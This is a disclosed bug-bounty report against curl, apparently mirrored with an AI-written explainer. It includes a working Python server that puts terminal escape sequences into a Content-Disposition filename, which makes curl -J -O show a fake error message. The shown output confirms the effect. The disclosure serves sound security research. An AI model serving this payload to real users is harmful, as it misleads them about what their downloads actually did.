Skip to content
Misconfiguration Disclosed report Intermediate

Terminal Output Not Great

A server can put terminal escape sequences into the filename it sends in a Content-Disposition header, and curl writes that name to disk when saving with -J. The escape codes can move the cursor and erase lines in the terminal, so a fake error message appears where the real curl output was.

kelsier Follow

Originally disclosed on HackerOne

  • Disclosed after 30 hours

Summary:

No AI here, I just came across this:

Python
import random
import string
from http.server import BaseHTTPRequestHandler, HTTPServer

class MaliciousHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        
        rand_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        fake_error = "curl: (6) Could not resolve host: google.com"
        
        malicious_filename = f"{rand_id}\033[1G\033[2K\033[A\033[2K\033[A\033[2K{fake_error}"
        self.send_header('Content-Disposition', f'attachment; filename="{malicious_filename}"')
        self.end_headers()    
        self.wfile.write(b"curl rocks")

if __name__ == '__main__':
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, MaliciousHandler)
    httpd.serve_forever()
Bash
❯ curl -J -O -w "Saved to: %{filename_effective}\n" http://localhost:8080/somefile
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
curl: (6) Could not resolve host: google.com
Bash
❯ ls -al
total 16
drwxr-xr-x  4 kelsier  staff   128 10 Dec 01:57 .
drwxr-xr-x  4 kelsier  staff   128 10 Dec 01:07 ..
-rw-r--r--  1 kelsier  staff    33 10 Dec 01:57 5152c4jl?[1G?[2K?[A?[2K?[A?[2Kcurl: (6) Could not resolve host: google.com
-rw-r--r--  1 kelsier  staff  1550 10 Dec 01:57 salsa.py
Bash
❯ zsh --version
zsh 5.9 (arm64-apple-darwin24.0)

Impact

Summary:

/me thinks this might be problematic?

The original report as published on HackerOne, by kelsier. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely curl does not strip terminal control characters from the server-supplied filename before printing it to the terminal.

Impact

A server can make curl's terminal output misleading by putting escape codes in the filename; the report does not demonstrate code execution.

What the attacker needed

Victim runs curl with -J -O; victim downloads from attacker server; terminal that honours escape codes

How it was found

  1. Run a small local web server that returns a Content-Disposition header with escape sequences in the filename.
  2. Download from it with curl using the -J and -O options.
  3. Observe that the terminal shows a fake error message instead of the real output.
  4. List the directory and see the escape characters stored in the saved filename.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you download a file, the server can suggest a name. This report shows the name can contain control characters that move the cursor and wipe lines, so the screen shows a made-up error message instead of the real output.

What is Misconfiguration?

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.